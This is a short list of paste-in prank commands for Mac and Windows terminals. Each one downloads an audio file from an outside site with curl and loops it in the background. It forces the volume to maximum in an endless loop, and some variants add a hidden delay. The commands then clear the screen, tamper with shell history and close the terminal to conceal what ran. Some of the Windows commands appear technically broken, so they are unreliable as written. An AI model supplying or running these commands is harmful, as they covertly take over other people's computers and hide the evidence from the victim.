Mac Versions
Without delay: curl -L -o /tmp/audio.mp3 farcimen.com/audio/cb.mp3 && clear && ((while true; do nohup afplay /tmp/audio.mp3; done) > /dev/null 2>&1 &) && ((while true; do osascript -e "set volume output volume 100"; done) > /dev/null 2>&1 &) && clear && history -p && killall Terminal With internal delay: curl -L -o /tmp/audio.mp3 farcimen.com/audio/cb_d10.mp3 && ((while true; do nohup afplay /tmp/audio.mp3; done) > /dev/null 2>&1 &) && ((sleep 595; while true; do osascript -e "set volume output volume 100"; done) > /dev/null 2>&1 &) && clear && history -p && killall Terminal With sleep and countdown: curl -L -o /tmp/audio.mp3 farcimen.com/audio/cb.mp3 && clear && echo "countdown started..." && for ((i=300;i>=0;i--)); do printf "\r%3d / 300" "$i"; sleep 1; done && echo -e "\nDownloading..." && clear && ((while true; do nohup afplay /tmp/audio.mp3; done) > /dev/null 2>&1 &) && ((while true; do osascript -e "set volume output volume 100"; done) > /dev/null 2>&1 &) && clear && history -p && killall Terminal With sleep and no display: curl -L -o /tmp/audio.mp3 farcimen.com/audio/cb.mp3 && clear && sleep 300 && clear && ((while true; do nohup afplay /tmp/audio.mp3; done) > /dev/null 2>&1 &) && ((while true; do osascript -e "set volume output volume 100"; done) > /dev/null 2>&1 &) && clear && history -p && killall Terminal
Windows Versions
Without delay: curl -L -o C:\audio.mp3 http://farcimen.com/audio/cb.mp3 && cls && powershell -Command "while ($true) { Start-Process C:\audio.mp3 }" && powershell -Command "$vol = (Get-WmiObject -Class Win32_SoundDevice).SetVolume(100)" && cls && exit With internal delay: curl -L -o C:\audio.mp3 http://farcimen.com/audio/cb_d10.mp3 && cls && powershell -Command "while ($true) { Start-Process C:\audio.mp3 }" & timeout /t 595 && powershell -Command "$vol = (Get-WmiObject -Class Win32_SoundDevice).SetVolume(100)" && cls && exit